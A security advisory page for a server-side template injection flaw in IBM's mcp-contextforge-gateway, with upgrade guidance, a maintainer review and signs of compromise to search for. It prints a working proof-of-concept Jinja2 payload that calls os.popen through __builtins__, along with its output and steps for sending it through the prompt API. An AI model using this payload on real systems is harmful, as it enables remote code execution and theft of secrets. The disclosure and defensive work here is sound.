GHSA-vwf3-4xxj-qg6h: mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment
IBM's mcp-contextforge-gateway (MCP Context Forge) rendered stored prompt templates with a plain Jinja2 `Environment`. A user who may create or update prompts can store a template that runs arbitrary Python when the prompt is fetched, giving code execution on the gateway host. Versions 0.1.0 through 0.9.0 are affected. Upgrade to 1.0.0 or later.
Published Aug 25, 2026 · Analysis Oct 25, 2026
What an attacker can do
PromptService in mcpgateway/services/prompt_service.py builds self._jinja_env as an ordinary jinja2.Environment. _render_template() calls from_string(template).render(**arguments) on it, and get_prompt() calls that with prompt.template from the database. The template field is written through POST /prompts, prompt update and bulk registration. With no sandbox, a template can walk to __builtins__.__import__('os').popen(...) and run any command. The reporter's proof of concept writes a marker file through os.popen.
The attacker needs an authenticated account holding the prompts.create or prompts.update permission. That is an ordinary capability in the gateway's intended model. The template then fires each time the prompt is rendered through the MCP prompts/get flow.
Commands run with the gateway process's privileges. That exposes its environment variables, which can hold API keys, JWT signing keys and database credentials, plus its filesystem and its network position. In a multi-tenant gateway, one tenant who can register prompts reaches every other tenant. Pipelines that sync prompts from external registries carry the same risk.
The advisory has no CVSS score. The maintainer confirmed the flaw as high severity, CWE-94 and CWE-1336.
Who is affected
mcp-contextforge-gateway on PyPI, versions below 1.0.0 (0.1.0 through 0.9.0 per the maintainer). The reporter verified 0.9.0. Any deployment where someone other than fully trusted admins holds prompt create or update rights is at real risk.
Check:
pip show mcp-contextforge-gatewayVersions 1.0.0 to 1.0.3 are published on PyPI.
mcp-contextforge-gateway
- Ecosystem
- PyPI
- Affected
- < 1.0.0
- Fixed in
- 1.0.0
- Check
pip show mcp-contextforge-gateway
How to fix it
Upgrade to 1.0.0 or later:
pip install --upgrade "mcp-contextforge-gateway>=1.0.0"Version 1.0.0 moved prompt rendering to Jinja2's SandboxedEnvironment (pull request 4072). Current main, 1.0.3, also stops a sandbox SecurityError from falling through to the str.format() fallback, which could reopen attribute access. Other Jinja errors such as syntax errors still use the fallback.
Expect a behavior change: templates that reach Python internals through attribute access now fail at render time with PromptError. Review your stored prompts after upgrading. The maintainer's audit found no other place in the code that renders user-supplied template strings.
The advisory lists no workaround. Until you upgrade, limit prompts.create and prompts.update to people you trust, and review stored prompts for Jinja expressions that use __ attributes.
How to tell if you were hit
Query the gateway's prompt table or list prompts through the API and search template values for __builtins__, __globals__, __import__, __class__, __subclasses__, popen and os.. Normal prompt templates use plain placeholders such as {{ name }}.
Look at audit logs for POST /prompts, PUT /prompts/{id} and bulk registration calls from accounts that do not normally manage prompts. On the host, check for child processes of the gateway and unexpected files or outbound connections. If a malicious template is found, rotate the JWT secret, API keys and database credentials.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.
Details
Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.
Vulnerable code
mcpgateway/services/prompt_service.py, line 26:
from jinja2 import Environment, meta, select_autoescapemcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):
self._jinja_env = Environment(
autoescape=select_autoescape(["html", "xml"]),
trim_blocks=True,
lstrip_blocks=True,
)mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):
def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
...
try:
jinja_template = self._jinja_env.from_string(template)
return jinja_template.render(**arguments)
except Exception:
try:
return template.format(**arguments)
except Exception as e:
raise PromptError(f"Failed to render template: {str(e)}")_render_template is invoked from PromptService.get_prompt (line 892):
rendered = self._render_template(prompt.template, arguments)Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.
Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.
PoC
The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.
Setup
pip install mcp-contextforge-gateway==0.9.0Reproducer (`poc.py`)
import os
import warnings
with warnings.catch_warnings():
warnings.simplefilter("ignore")
from mcpgateway.services.prompt_service import PromptService
import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")
PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
os.remove(PROOF)
service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")
payload = (
"{{ self.__init__.__globals__.__builtins__"
".__import__('os').popen('echo MCPGATEWAY_RCE > "
+ PROOF.replace('\\', '/') + "').read() }}"
)
print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}")
if os.path.exists(PROOF):
with open(PROOF) as f:
print(f"[+] PROOF contents: {f.read().strip()!r}")Verified output
[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render: True
[+] PROOF contents: 'MCPGATEWAY_RCE'The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.
End-to-end via the API
A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.
Impact
This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.
Successful exploitation yields:
- Arbitrary command execution on the gateway host with the gateway process's privileges
- Read/write access to the gateway's filesystem
- Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
- Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
- Persistence by registering additional malicious prompts, modifying configuration, or writing to disk
Affected user populations:
- Any deployment running a published version of
mcp-contextforge-gatewayfrom PyPI - Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
- CI/CD pipelines that programmatically register prompt templates from untrusted sources
- Deployments that import or sync prompt definitions from external registries
Suggested remediation requests:
- Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
- Publish the patched release to PyPI so
pip install --upgradereturns a fixed version - Mark the relevant
CHANGELOG.mdentry as a security fix and add an upgrade-urgency note inSECURITY.mdfor users still on affected versions
---
Maintainer review (accepted)
Reproduced and accepted. Findings from the maintainer's review:
Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.
Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.
Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.
Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).
Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.
Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.
Credited to YuvalElbar6.
Questions
- Does exploiting this need admin rights on the gateway?
It needs an authenticated user with permission to register or update prompts (
prompts.createorprompts.update). The advisory calls that a normal capability, so it is lower than admin in many setups.- Is there a CVE for this advisory?
The advisory shows no CVE id. It is tracked as GHSA-vwf3-4xxj-qg6h, and the reporter asked for a CVE so scanners would alert on it.
- Will my existing prompts still work after upgrading?
Plain placeholders and normal Jinja logic will. Templates that depend on attribute access to Python internals now fail with a
PromptErrorat render time, which is the intended effect of the sandbox.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
